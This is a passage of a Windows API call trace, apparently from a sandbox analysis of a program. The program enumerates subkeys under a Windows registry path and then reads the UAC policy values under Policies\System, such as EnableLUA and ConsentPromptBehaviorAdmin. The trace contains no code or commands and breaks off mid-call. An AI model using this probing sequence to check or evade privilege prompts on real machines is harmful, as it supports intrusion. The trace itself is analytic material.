lpMultiByteStr=0x119c160, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0250.990] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x119b9b8, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0250.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x119c1a8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0250.990] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x119b9b8, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0250.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0250.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x119c160, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0250.990] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x119b9b8, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x119c1a8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0250.991] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x119b9b8, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x119c160, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0250.991] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x119b9b8, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x119c1a8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0250.991] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x119b9b8, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x119c160, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0250.991] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x119b9b8, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x119c1a8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0250.991] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x119b9b8, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x119c160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0250.991] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x119b9b8, cchName=0x104 | out: lpName="Ext") returned 0x0 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x119c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0250.992] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x119b9b8, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0250.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x119c160, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0250.992] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x119b9b8, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0250.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0250.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x119c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0250.992] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x119b9b8, cchName=0x104 | out: lpName="Hints") returned 0x0 [0250.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x119c160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0250.992] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x119b9b8, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0250.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0250.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x119c1a8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0250.992] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x119b9b8, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0250.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x119c160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0250.992] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x119b9b8, cchName=0x104 | out: lpName="IME") returned 0x0 [0250.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x119c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0250.992] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x119b9b8, cchName=0x104 | out: lpName="Installer") returned 0x0 [0250.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x119c160, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0250.993] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x119b9b8, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x119c1a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0250.993] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x119b9b8, cchName=0x104 | out: lpName="MCT") returned 0x0 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x119c160, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0250.993] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x119b9b8, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x119c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0250.993] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x119b9b8, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x119c160, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0250.993] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x119b9b8, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x119c1a8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0250.993] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x119b9b8, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x119c160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0250.993] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x119b9b8, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0250.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0250.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x119c1a8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0250.994] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x119b9b8, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0250.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x119c160, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0250.994] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x119b9b8, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0250.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x119c1a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0250.994] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x119b9b8, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0250.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x119c160, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0250.994] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x119b9b8, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0250.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0250.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x119c1a8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0250.994] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x119b9b8, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0250.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0250.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x119c160, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0250.994] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x119b9b8, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0250.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0250.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x119c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0250.995] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x119b9b8, cchName=0x104 | out: lpName="Policies") returned 0x0 [0250.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x119c160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0250.995] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0250.995] RegCloseKey (hKey=0x38) returned 0x0 [0250.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x119b9b8, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0250.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x119c1a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0250.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x119b9b8, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0250.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x119c160, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0250.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x119b9b8, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0250.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x119c1a8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0250.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x119b9b8, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0250.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x119c160, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0250.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x119b9b8, cchName=0x104 | out: lpName="System") returned 0x0 [0250.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x119c1a8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0250.996] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0250.996] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b9b8) returned 1 [0250.996] RegCloseKey (hKey=0xc4) returned 0x0 [0250.996] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b8e8) returned 1 [0250.996] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.996] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.996] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.996] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.996] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.996] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.996] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: 